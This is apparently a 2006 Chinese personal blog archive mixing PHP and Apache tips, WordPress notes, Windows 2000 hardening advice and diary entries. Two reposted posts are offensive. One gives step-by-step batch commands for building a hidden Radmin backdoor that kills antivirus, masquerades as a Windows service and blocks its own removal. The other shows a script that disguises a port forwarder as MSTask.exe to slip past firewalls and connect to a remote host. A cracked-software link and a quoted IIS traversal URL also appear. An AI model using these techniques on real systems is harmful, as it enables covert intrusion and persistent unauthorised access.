wap网站

服务器到现在才明白是怎么回是 等有时间了做一个

2006-03-14 · 1 分钟 · admin

mysql索引

现在才知道它的重要性 但20多记录还是不够快,不知是不是机器的是

2006-03-14 · 1 分钟 · admin

上班好几天了,没时间写呀

上学的时侯想着工作,不过现在工作还是很开心的也许是因为做自己想做的事吧 不过不能上网倒是很郁闷, 唉有时间在写吧talo的钱也还了 昨天买了手机卡 有时间在写吧回去了!

2006-03-10 · 1 分钟 · admin

IndexU 5.0.1 国外商业搜索引擎汉化破解版

http://www.heibai.be 或 http://www.bdlive.cn

2006-03-10 · 1 分钟 · admin

何使用PHP中的字符串函数

**7)nl2br **在字符串中的每一个回车前面加上" “. **(8)AddSlashes,StripSlashes **分别给字符串中需要加上"“才能用于数据库查询的字符加上和去掉””. **(9)parse_str **将"name1=value1&name2;=value2&…“类型的字符串分析成一些变量. 例如: parse_str(“a=1&b;=2”); 生成$a与$b两个变量,值分别为1,2. 如果有两对名字/值的名字部分相同,则后一个的值覆盖前一个的. 如果这两对的名字尾部都有”[]",例如"a[]=1&a;[]=2",则生成数组$a,两个元素分别为1,2

2006-03-01 · 1 分钟 · admin

在北京的感觉

今天是来到北京的第二天了 本想支亿中邮去看看可是没找到地址,真是郁闷,去了王俯井也没找到 今天很累,坐了一天车,不过在北京的感觉确实不错 就是吃饭贵了点一碗抄饼用了5元还没吃饱 现在来上网了从现在到明天早上25唉 在看看工作的事吧 如果可能的话真想留在这里 希望。。。。。。

2006-03-01 · 1 分钟 · admin

apache中.htaccess文件的功能写法

.htaccess 文件(或者”分布式配置文件”提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。 子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。 .htaccess必须以ASCII模式上传,最好将其权限设置为644。 错误文档的定位 常用的客户端请求错误返回代码: 401 Authorization Required 403 Forbidden 404 Not Found 405 Method Not Allowed 408 Request Timed Out 411 Content Length Required 412 Precondition Failed 413 Request Entity Too Long 414 Request URI Too Long 415 Unsupported Media Type 常见的服务器错误返回代码: 500 Internal Server Error 用户可以利用.htaccess指定自己事先制作好的错误提醒页面。一般情况下,人们可以专门设立一个目录,例如errors放置这些页面。然后再.htaccess中,加入如下的指令: ErrorDocument 404 /errors/notfound.html ErrorDocument 500 /errors/internalerror.html 一条指令一行。上述第一条指令的意思是对于404,也就是没有找到所需要的文档的时候得显示页面为/errors目录下的notfound.html页面。不难看出语法格式为: ErrorDocument 错误代码 /目录名/文件名.扩展名 如果所需要提示的信息很少的话,不必专门制作页面,直接在指令中使用HTML号了,例如下面这个例子: ErrorDocument 401 " 你没有权限访问该页面,请放弃! " 文档访问的密码保护 要利用.htaccess对某个目录下的文档设定访问用户和对应的密码,首先要做的是生成一个.htpasswd的文本文档,例如:...

2006-02-26 · 1 分钟 · admin

今天研究WordPress的总结

几个今天发现的plugin WordPress Plugin: Recent Updates 最近更新plugin 有些选项可在后台设置,是至今找到比较完美的,应该适用于2.0 http://www.semiologic.com/software/recent-updates/ WordPress Plugin: Recent Posts 最近发表plugin 有些选项可在后台设置,是至今找到比较完美的,应该适用于2.0 http://www.semiologic.com/software/recent-posts/ 以下是2个关于Tags的plugin,Blogging Pro上还有好多关于Tags的plugin,过后得研究下 WordPress Plugin: Simple Tags 2.0 http://www.broobles.com/scripts/simpletags/ WordPress Plugin: Technorati Tagging of Posts http://www.bloggingpro.com/archives/2006/01/13/technorati-tagging-of-posts/ WordPress Plugin: Google Analytics Plugin 加入Google Analytics 统计代码这下不必自己修改WordPress程序了 http://www.semiologic.com/software/google-analytics/ WordPress Plugin: Google Analyticator 这个也是关于Google Analytics 统计的 http://cavemonkey50.com/code/google-analyticator/ WordPress Plugin: Google Adsene Maintenance 似乎是定时关闭Google Adsene的 http://www.jensense.com/archives/2005/12/adsense_will_be.html Wordpress 风格 A New Spring 这个风格挺清爽,做得不错,可以二度加工下 http://www.codebymatt.com/blog/?p=21 再次注明一下这几个WordPress plugin站点 http://wp-plugins.net/ http://www.bloggingpro.com/archives/category/wordpress-plugins/ 另外发现http://www.semiologic.com网站上的语言栏,哇靠,多语言全自动全文翻译,真COOL,比GOOGLE的翻译还COOL,不知道用的什么翻译引擎,一会再看看. 在DreamHost上一键装了WordPress2.0,发现自己实在懒得要命,连上传WordPress2.0都懒了:( 试用了下下,感觉比1.5强很多,应该说规范很多,许多细节和功能的变化还是很舒心的,加入了期待已久的TinyMCE,上传部份也整合到了发表页面,等等 这下升级1.5.2到2.0又得花些时间了,最怕这样升级...

2006-02-26 · 1 分钟 · admin

在php中怎么判断一个变量是不是数字?

is_numeric($xxx);

2006-02-26 · 1 分钟 · admin

PHP木马的攻击的防御之道

1.防止跳出web目录 首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache /htdocs 这样,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。 2.防止php木马执行webshell 打开safe_mode, 在,php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选

2006-02-25 · 1 分钟 · admin

WIN服务器PHP软件下载

phpMyAdmin for Windows V2.7.0 http://www.skycn.com/soft/10687.html php-4.4.0 http://cn.php.net/get/php-4.4.0-Win32.zip/from/a/mirror mysql-4.0.26-win32 http://download.discuz.net/mysql-4.0.26-win32.zip ZendOptimizer-2.6.2-Windows-i386 http://www.mepoor.net/attachment/ZendOptimizer-2.6.2-Windows-i386.exe

2006-02-25 · 1 分钟 · admin

给win2003打开fso读写权限

默认的windows2003是没有打开fso读写权限的,我用的是企业版的win2003,打开fso权限直截运行regsvr32 scrrun.dll即可.然后重启你的机算机,一切ok.

2006-02-25 · 1 分钟 · admin

打造完美Radmin

大家好,关于如何打造出完美的Radmin服务端,网上有很多类似的修改后的程序,但有的服务名会暴露,有的会显示CMD窗口,我弥补了它们的缺点,综合了它们的优点,打造出了现在这个完美的Radmin服务端。 准备工具 Rock免杀工具; IcoSprite图标更改器; Killer15杀杀毒软件防火墙工具; SC.exe服务添加删除更改工具; AdmDll.dll、Raddrv.dll、R_server(这个不用说了吧,Radmin的服务端)。 程序特点 自解压形式,双击即可,自动解压到%systemroot%\system32\drivers\目录下,并能干掉卡巴斯基等杀毒软件。使用vbs嵌套bat来执行所有内容,不会跳出任何窗口。自建服务,并修改服务名、显示名、描述使其做到隐蔽。依存Windows Update服务,给试图关闭它带来困惑。做完一切后以只读,隐藏形式隐蔽Radmin服务端的三个程序,删除掉生成的一些REG、BAT、VBS文件,并能够突破Radmin外部连接进来时XP SP2防火墙的拦截。 制作过程 首先自己安装一下Radmin服务端,配置完密码,端口等信息后导出其在HKEY_LOCAL_MACHINE\SYSTEM\RAdmin的注册表文件,这里我另存为名Server.reg。然后要修改R_server.exe的图标并修改文件名为迷惑性文字如Update.exe,修改图标我用IcoSprite,觉得还不错。这样假如对方装有天网之类防火墙的话,可以骗过一些菜鸟,同意允许对外连接。 接下来我们制作核心部分,最关键的BAT,重要的我将简单解释: @echo off @sc stop r_server ‘假如已经被装过R_server服务,先用SC将它停掉。 @sc delete r_server ‘将已经装过R_server服务删除。 @regedit /s server.reg @SC create MPservice BinPath= “%systemroot%\system32\drivers\Update.exe /service” type= own type= interact start= auto DisplayName= “Media Player of Remote Control Driver Update” ‘这句是用SC建立一个服务,服务名为Mpservice,路径Binpath为"%systemroot%\system32\drivers\Update.exe /service",类型type为 own 与interact交互,启动类型start为 自动,显示名DisplayName为"Media Player of Remote Control Driver Update"。 @sc description MPservice “为Windows Media Player提供加载进程及驱动程序、库提供基层更新安全补丁的服务。” ‘这句是将MPservice服务的描述改为“为Windows Media Player提供加载进程及驱动程序、库提供基层更新安全补丁的服务。” @sc config wuauserv depend= MPservice ‘配置MPservice使wuauserv服务依存此服务(wuauserv可以根据自己喜欢改成其它服务,这里的wuauserv是系统在Windows Update 网站的自动更新服务)。这里的目的是迷惑管理员,使其不敢轻易停止我们生成的Radmin服务。 @echo Windows Registry Editor Version 5....

2006-02-25 · 1 分钟 · admin

通杀国内防火墙

直以来都有一个梦想:偶要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件。)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病。这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说! 首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?——就相当于古装片里的易容术,易容后就认不得了!这就给了我们机会,我们可以利用这个BUG来欺骗防火墙来达到访外的目的! 小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了——因为防火墙是不会拦截已认证放行的程序的。 原理讲完了,我们现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件: 为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQL SERVER、Serv-u。首先我们用常用的方法进行端口转发,看看防火墙有什么反应! 第一步,启用AngelShell Ver 1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好! 第二步,直接在CMDSHELL里运行“e:\www\fport.exe 4899 192.168.1.1 7788”,这时我们看到虚拟机里的“天网”对Fport马上进行了拦截。 看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在我们实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下: ren MSTask.exe MSTask1.exe ren fport.exe MSTask.exe MSTask.exe 4899 192.168.1.1 7788 Del %0 命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。 当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。 我们已经成功突破限制(由于防火墙没有限制本地连接4899端口,我们用Fport转发了它的端口,登录时等于本地连接,因此我们能够成功连接),这样一来,我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了! 据我实验,国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑我们的机会! WTF老大说独乐乐不如众乐乐,所以我还是公布出来了,一是可以让我们国内的防火墙有所改进,二是给网管们提个醒!由于小弟技术有限,难免会出现错误,欢迎各位指正批评。 N/P (NetPatch) 来 源: 《黑客防线》

2006-02-25 · 1 分钟 · admin

WIN2000服务器安全配置全攻略

WIN2000服务器安全配置全攻略:目前,WIN2000 SERVER是比较流行的服务器操作系统之一,但是要想安全的配置微软的这个操作系统,却不是一件容易的事。本文试图对win2000 SERVER的安全配置进行初步的探讨。 一、 定制自己的WIN2000 SERVER 1.版本的选择:WIN2000有各种语言的版本,对于我们来说,可以选择英文版或简体中文版,我强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要知道,微软的产品是以Bug & Patch而著称的,中文版的Bug远远多于英文版,而补丁一般还会迟至少半个月(也就是说一般微软公布了漏洞后你的机子还会有半个月处于无保护状况) 2.组件的定制:win2000在默认情况下会安装一些常用的组件,但是正是这个默认安装是极度危险的(米特尼科说过,他可以进入任何一台默认安装的服务器,我虽然不敢这么说,不过如果你的主机是WIN2000 SERVER的默认安装,我可以告诉你,你死定了)你应该确切的知道你需要哪些服务,而且仅仅安装你确实需要的服务,根据安全原则,最少的服务+最小的权限=最大的安全。典型的WEB服务器需要的最小组件选择是:只安装IIS的Com Files,IIS Snap-In,WWW Server组件。如果你确实需要安装其他组件,请慎重,特别是:Indexing Service, FrontPage 2000 Server Extensions, Internet Service Manager (HTML)这几个危险服务。 3. 管理应用程序的选择 选择一个好的远程管理软件是非常重要的事,这不仅仅是安全方面的要求,也是应用方面的需要。Win2000的Terminal Service是基于RDP(远程桌面协议)的远程控制软件,他的速度快,操作方便,比较适合用来进行常规操作。但是,Terminal Service也有其不足之处,由于它使用的是虚拟桌面,再加上微软编程的不严谨,当你使用Terminal Service进行安装软件或重起服务器等与真实桌面交互的操作时,往往会出现哭笑不得的现象,例如:使用Terminal Service重起微软的认证服务器(Compaq, IBM等)可能会直接关机。所以,为了安全起见,我建议你再配备一个远程控制软件作为辅助,和Terminal Service互补,象PcAnyWhere就是一个不错的选择。 二、 正确安装WIN2000 SERVER 1.分区和逻辑盘的分配,有一些朋友为了省事,将硬盘仅仅分为一个逻辑盘,所有的软件都装在C驱上,这是很不好的,建议最少建立两个分区,一个系统分区,一个应用程序分区,这是因为,微软的IIS经常会有泄漏源码/溢出的漏洞,如果把系统和IIS放在同一个驱动器会导致系统文件的泄漏甚至入侵者远程获取ADMIN。推荐的安全配置是建立三个逻辑驱动器,第一个大于2G,用来装系统和重要的日志文件,第二个放IIS,第三个放FTP,这样无论IIS或FTP出了安全漏洞都不会直接影响到系统目录和系统文件。要知道,IIS和FTP是对外服务的,比较容易出问题。而把IIS和FTP分开主要是为了防止入侵者上传程序并从IIS中运行。(这个可能会导致程序开发人员和编辑的苦恼,管他呢,反正你是管理员J) 2.安装顺序的选择:不要觉得:顺序有什么重要?只要安装好了,怎么装都可以的。错!win2000在安装中有几个顺序是一定要注意的: 首先,何时接入网络:Win2000在安装时有一个漏洞,在你输入Administrator密码后,系统就建立了ADMIN$的共享,但是并没有用你刚刚输入的密码来保护它,这种情况一直持续到你再次启动后,在此期间,任何人都可以通过ADMIN$进入你的机器;同时,只要安装一完成,各种服务就会自动运行,而这时的服务器是满身漏洞,非常容易进入的,因此,在完全安装并配置好win2000 SERVER之前,一定不要把主机接入网络。 其次,补丁的安装:补丁的安装应该在所有应用程序安装完之后,因为补丁程序往往要替换/修改某些系统文件,如果先安装补丁再安装应用程序有可能导致补丁不能起到应有的效果,例如:IIS的HotFix就要求每次更改IIS的配置都需要安装(变不变态?) 三、 安全配置WIN2000 SERVER 即使正确的安装了WIN2000 SERVER,系统还是有很多的漏洞,还需要进一步进行细致地配置。 1.端口:端口是计算机和外部网络相连的逻辑接口,也是计算机的第一道屏障,端口配置正确与否直接影响到主机的安全,一般来说,仅打开你需要使用的端口会比较安全,配置的方法是在网卡属性-TCP/IP-高级-选项-TCP/IP筛选中启用TCP/IP筛选,不过对于win2000的端口过滤来说,有一个不好的特性:只能规定开哪些端口,不能规定关闭哪些端口,这样对于需要开大量端口的用户就比较痛苦。 2.IIS:IIS是微软的组件中漏洞最多的一个,平均两三个月就要出一个漏洞,而微软的IIS默认安装又实在不敢恭维,所以IIS的配置是我们的重点,现在大家跟着我一起来: 首先,把C盘那个什么Inetpub目录彻底删掉,在D盘建一个Inetpub(要是你不放心用默认目录名也可以改一个名字,但是自己要记得)在IIS管理器中将主目录指向D:\Inetpub; 其次,那个IIS安装时默认的什么scripts等虚拟目录一概删除(罪恶之源呀,忘http://www.target.com/scripts/..%c1%1c../winnt/system32/cmd.exe了?我们虽然已经把Inetpub从系统盘挪出来了,但是还是小心为上),如果你需要什么权限的目录可以自己慢慢建,需要什么权限开什么。(特别注意写权限和执行程序的权限,没有绝对的必要千万不要给) 第三,应用程序配置:在IIS管理器中删除必须之外的任何无用映射,必须指的是ASP, ASA和其他你确实需要用到的文件类型,例如你用到stml等(使用server side include),实际上90%的主机有了上面两个映射就够了,其余的映射几乎每个都有一个凄惨的故事:htw, htr, idq, ida……想知道这些故事?去查以前的漏洞列表吧。什么?找不到在哪里删?在IIS管理器中右击主机->属性->WWW服务编辑->主目录配置->应用程序映射,然后就开始一个个删吧(里面没有全选的,嘿嘿)。接着在刚刚那个窗口的应用程序调试书签内将脚本错误消息改为发送文本(除非你想ASP出错的时候用户知道你的程序/网络/数据库结构)错误文本写什么?随便你喜欢,自己看着办。点击确定退出时别忘了让虚拟站点继承你设定的属性。 为了对付日益增多的cgi漏洞扫描器,还有一个小技巧可以参考,在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件,可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单,大多数CGI扫描器在编写时为了方便,都是通过查看返回页面的HTTP代码来判断漏洞是否存在的,例如,著名的IDQ漏洞一般都是通过取1.idq来检验,如果返回HTTP200,就认为是有这个漏洞,反之如果返回HTTP404就认为没有,如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件,那么所有的扫描无论存不存在漏洞都会返回HTTP200,90%的CGI扫描器会认为你什么漏洞都有,结果反而掩盖了你真正的漏洞,让入侵者茫然无处下手(武侠小说中常说全身漏洞反而无懈可击,难道说的就是这个境界?)不过从个人角度来说,我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。 最后,为了保险起见,你可以使用IIS的备份功能,将刚刚的设定全部备份下来,这样就可以随时恢复IIS的安全配置。还有,如果你怕IIS负荷过高导致服务器满负荷死机,也可以在性能中打开CPU限制,例如将IIS的最大CPU使用率限制在70%。 3.账号安全: Win2000的账号安全是另一个重点,首先,Win2000的默认安装允许任何用户通过空用户得到系统所有账号/共享列表,这个本来是为了方便局域网用户共享文件的,但是一个远程用户也可以得到你的用户列表并使用暴力法破解用户密码。很多朋友都知道可以通过更改注册表Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous = 1来禁止139空连接,实际上win2000的本地安全策略(如果是域服务器就是在域服务器安全和域安全策略中)就有这样的选项RestrictAnonymous(匿名连接的额外限制),这个选项有三个值: 0:None. Rely on default permissions(无,取决于默认的权限)...

2006-02-25 · 2 分钟 · admin